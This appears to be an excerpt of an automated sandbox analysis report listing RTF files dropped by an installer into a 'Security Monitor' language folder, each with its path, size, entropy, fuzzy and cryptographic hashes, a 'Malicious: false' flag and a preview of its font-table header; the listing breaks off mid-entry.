SHA-256:	5C9D5955EB4E98A177EDA4E4B39BF09E19E3D6B83E634CA5C72CEFBDB8FE7178
SHA-512:	A715FC343E1183806AA428EDF040B6964EEA8492751C6453293729874A77F43867246813625D4C0D62ACBD00DC0BDE267EBF1285B3A96C0C5D5B4C9F0BF5CF7D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-28PUJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	52996
Entropy (8bit):	5.037460927420348
Encrypted:	false
SSDEEP:	768:Bk31e0/Yzc00QfHyUCp5N7G5V5V5h5G5P5N5TRrbGY+FNSdE2CUuHctO9P0CS0t0:BV0kIA9I
MD5:	77A17A8F48C96F611F14429D732C1F73
SHA1:	FE3F09AF1390F0C2F780A172450B3CCF54A09CD0
SHA-256:	F2B98A3175FC09320625C396606DA5058A192A5AF54A0C61D491E5FCB7EC96C4
SHA-512:	3A3AE1E13D1E24081A3913B34638DA25DC2FF39BBFB3151464B0E330828D9A3E3AB876E546E90C11E858FF1611F02686874D1106AF59A79F6399EC5DA7F60C26
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \from

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-29KG2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	36818
Entropy (8bit):	5.041090274116406
Encrypted:	false
SSDEEP:	768:BbKxdCpT2njX8x3fDVyOvjU0EGi2YuWZ/6A9m:Bs2TyIA9m
MD5:	FF313FAF3C594763F16D083E7036D86A
SHA1:	E0C366F97CBF210063B17FA453D0A2EAA879953A
SHA-256:	FA691CAE1E17899C0EFA053BE2EFDF95D9E4F13C10F02A7683FA5C88E66F52EA
SHA-512:	2D64CF19B391D3900226225EE74DB20DD5542A1F2A8635A92CB83C0B948A815B5FC28ADF979713417EE97EAE0CB02CCD1E2FF1EA5648A9C250DE60221177FEA5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-2HD8H.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	53700
Entropy (8bit):	4.980792929518482
Encrypted:	false
SSDEEP:	768:qqOkbe0ULHT2njX8x3TLjwUtqYepAkVZEdvI9DfLBmKPKPqP/tPw8Ecnv7eJTEcc:qq0EfLBGIA9Jk
MD5:	4F112D455797B724837B7714D54B6621
SHA1:	20351467C091733C0E7F4848B7809D54112143FE
SHA-256:	6ED5F0BC906B1E1A884CCF648C4D81FAD8B0B6D8A13F07BC90796811E6C13035
SHA-512:	928762682FE7FFCB119E93C8AB228EBF62D63763230A2C43F76D9504DC9DB4BF85E0519C2E4245B20FAC038DC83DBDA82FDDB606FD9C7F4552CAA86B61904121
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-61I78.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43450
Entropy (8bit):	5.051452976930654
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DKxwaOqBdLE0aWsaeyXH62lGFcaZl:BvrUneKD/IA9B
MD5:	843D629B19FC6C1C760CCCF79DCD8778
SHA1:	E1FD65A3F296C7F966AD9A3CA7C6C970127FCC04
SHA-256:	369458B9EAD9880E66B906332948AE38AEB74173BB24FEFD65B18438FECFCD23
SHA-512:	0C3E239B14888868A2F5FB95A7446E22460819B6DE4C2AE8C23C1E31C25D4FC4B9A04D861ED516A975A8397DB621BA517AB29606FBEAFBD70E7A6131D2604D58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-7E8CV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41676
Entropy (8bit):	5.05075856281513
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2rvx6qk0oDHvZlLMKFZ/6A9d:BvrUneKrsIA9d
MD5:	CE47EF60A1B6296B4770FEE4454B1E06
SHA1:	5B17759D122086E5E02A32BFB947A8746EF3076D
SHA-256:	9BB74EA64A2AAEC3470E7EE10C1EE4CA70AC357CB6DDF9D6C810869B7A18BB25
SHA-512:	2727839D56824EF21AB7F3340649483F576665EE1B561A2FD72ED31158B6FE2B854880558E991DF5F9B48125A8E85A1E3D88623C0282151285FBCA5470FFE7EA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-AQSP1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43859
Entropy (8bit):	5.052664414201202
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2G+xnd9MfUcL2L5Mc5255cRHjVlPw2:BvrUneKGsIA9B
MD5:	F7320542A3AFF0FC824E6C8D5CA74FBC
SHA1:	F3C273969AC71FB411A5677D23898B7FE0633BFF
SHA-256:	FAAAACD62FDB8F2901ACD5D39CB2D54B9A728B463900AE08916DE586EE9CD521
SHA-512:	8CD8ED594846968FD2932A0E396E4DD1833EC10C4CF4F187C80BE34378E55605AC190EE87A1A47AB335BF19764640FEC14F4A9CE7C5893877EAA995FADBC18BA
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-ARQFI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	37003
Entropy (8bit):	5.038330646707192
Encrypted:	false
SSDEEP:	768:BbKxdCjOcPI0QhhiLVZMB5WjuOBYB1xlmZ/6A9P:Bs5Un9IA9P
MD5:	75DF6CB458A94E38B33006A5BB1AB3CA
SHA1:	7EE17FB0A1760D5C89FC4B86CB98CF3EA71E333D
SHA-256:	81275BC2F9DF017DD33438D44E3F4ACECDAC376281CD5C37F782538D937F8E3F
SHA-512:	89CD75E4140B9C9F90DB760FA806039017AF4558FC74AE5327F547DD7E3DF14710925F1F7C55C648F7A947753B48703A1AC47F905C9EDF454599828F3CD4A86D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-C988M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	46778
Entropy (8bit):	5.04213022372363
Encrypted:	false
SSDEEP:	768:BbO4jB7F2njX8x3nF9k6Bvtk+k1pJKOQBX0hUH/EIvx9WahytOAnkWiwaTdnkmDk:B1hKIA9N
MD5:	F60A5BBD42D01BA5BE2200C53152A370
SHA1:	D5F8ED456623E3D8B44D6D87EDC705A0A27D0382
SHA-256:	7E5BED54A681A9701FBD6B6C12A4A53594DECD4B60AE8087DB96DCAD23DDF72C
SHA-512:	C66DA1A5D293F957A84B9B787B5487CD38A04DE39B4B955E1214954FE64FE14654265F942991A77816DB83BBED95818D1F5EE825B8C5AADD60B2A48EC1CEC841
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-D6AKK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42483
Entropy (8bit):	5.0516758116152145
Encrypted:	false
SSDEEP:	768:Bwqtxdo1SeUGLicPI0QhhiLVptabQhOsWx2DqxxqAJ7iYH2qlyTU6Z/6A9r:BvrUneKDZIA9r
MD5:	4419419BD2ABBE30C63B730ADA875674
SHA1:	2946FB19C980B330C1B4719AE6F915520709D99D
SHA-256:	180D6187E16BE50A3649B861A5FB7580F0AE99E949FBE0EAC05FBB5B17BD6F99
SHA-512:	2656094851AFBF719ECC12DE1AAA73C2040DA4FCCD7B4AB4E0FB6130472E606C5F8010A1D58C6D015F5DD8A71DB7C6E14811229FF2360F3D26BFAC4E737CE6A5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-ECS17.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	49864
Entropy (8bit):	5.043460580292076
Encrypted:	false
SSDEEP:	768:Bbi4jegzTJqNgVVhGPNXturfTYlDojU7FDSSmDP3QyYd9RhtAx/IFdNJf+v/AXQ0:BJkethIA9Q
MD5:	C5AC9F8F23886CDA2348A3BC382F8F9B
SHA1:	E18B97EA75873D424D0F0CDD349632CA3C96B656
SHA-256:	EC49E0ED640B29CF852E455D9D0A7666914DC7114D771F514405944F6C8D3733
SHA-512:	4A8FB239C01F8E1A163C6CB75C84884CADBAF0FA25159218D40F73F73A9255353134EA0D64800EAC40E49383085D5EFF05662B78FF43696A69A1FB591C80A7F1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhimino

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-L862D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	42867
Entropy (8bit):	5.0494431999578
Encrypted:	false
SSDEEP:	768:BXKxdC6T2njX8x3TLjwUtqYepfwDyQbLjJAfop7ATX8zOpSyXZSpyEW7HuHlV1Z9:BYFfIA9p
MD5:	2130BD1D1919D711A5AF21035C3503CC
SHA1:	0F92AF4AD5D98942DD464C2D2DBFB2D23FC7BF1B
SHA-256:	C62CAA4DFD7ADE415A27535B12C7B80992C1617106CEA4D271D8B159D97DC724
SHA-512:	28EF2FF5A3AA227A1532E1283EB5D530F8BC45C401B346503A60CA026718D64A5CB020D198DC43B16FCD3FA751E36524D8BDDEB7E8FA9D3209B86211AB728612
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 020206

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-LON1O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	43674
Entropy (8bit):	5.051136691912746
Encrypted:	false
SSDEEP:	768:Bwq6xdo1SeUGLicPI0QhhiLVptabQhOsWx2s2x7yjxsqoLq2IDSssDSsaD0iHw8V:BErUneKsyIA90
MD5:	03D5DC91896BD88D15D82608B85FA10A
SHA1:	741A620D22C4A157211C2972E53AF6C402E00036
SHA-256:	0EB740A746A33237558E99DA3599DE9DE975F7CE6C8988CE3E602C89E130BCFD
SHA-512:	5C211CC5A33A7590C5ECF2BCBE479A0EE1AD56CA300D136A752F6BF26CEEC2643825EDC3896550E21C436DB2B76AB895818BF4C9B3EF12E3E481374E322E37EB
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang2145\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1031\deflangfe1031\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-PBOMM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42553
Entropy (8bit):	5.039163820303254
Encrypted:	false
SSDEEP:	768:qqOkDx1eVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DldDMomI6u5DumZ/6A9X:qqb5nIA9X
MD5:	34E55F7E9F1B2541BE0A17FB6871F9C9
SHA1:	C9E188BCC39C88251CE9CBBA13E20F7BCA48F89F
SHA-256:	B02273E5A9A45909D24B7349E45BE521B9421CB93CE1803BAE7B4FA317443376
SHA-512:	D2C86622CD0726F5A480D11A3734C742D82853467CF3C1FB36F9ADE0873227862E26C366B8DD1E45B8D48F6AF62BA22FCD2C4C8FEEEEC6740B290F3E814ED65D
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset1\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\german\is-SKB5J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 2145
Category:	dropped
Size (bytes):	41056
Entropy (8bit):	5.04631924061467
Encrypted:	false
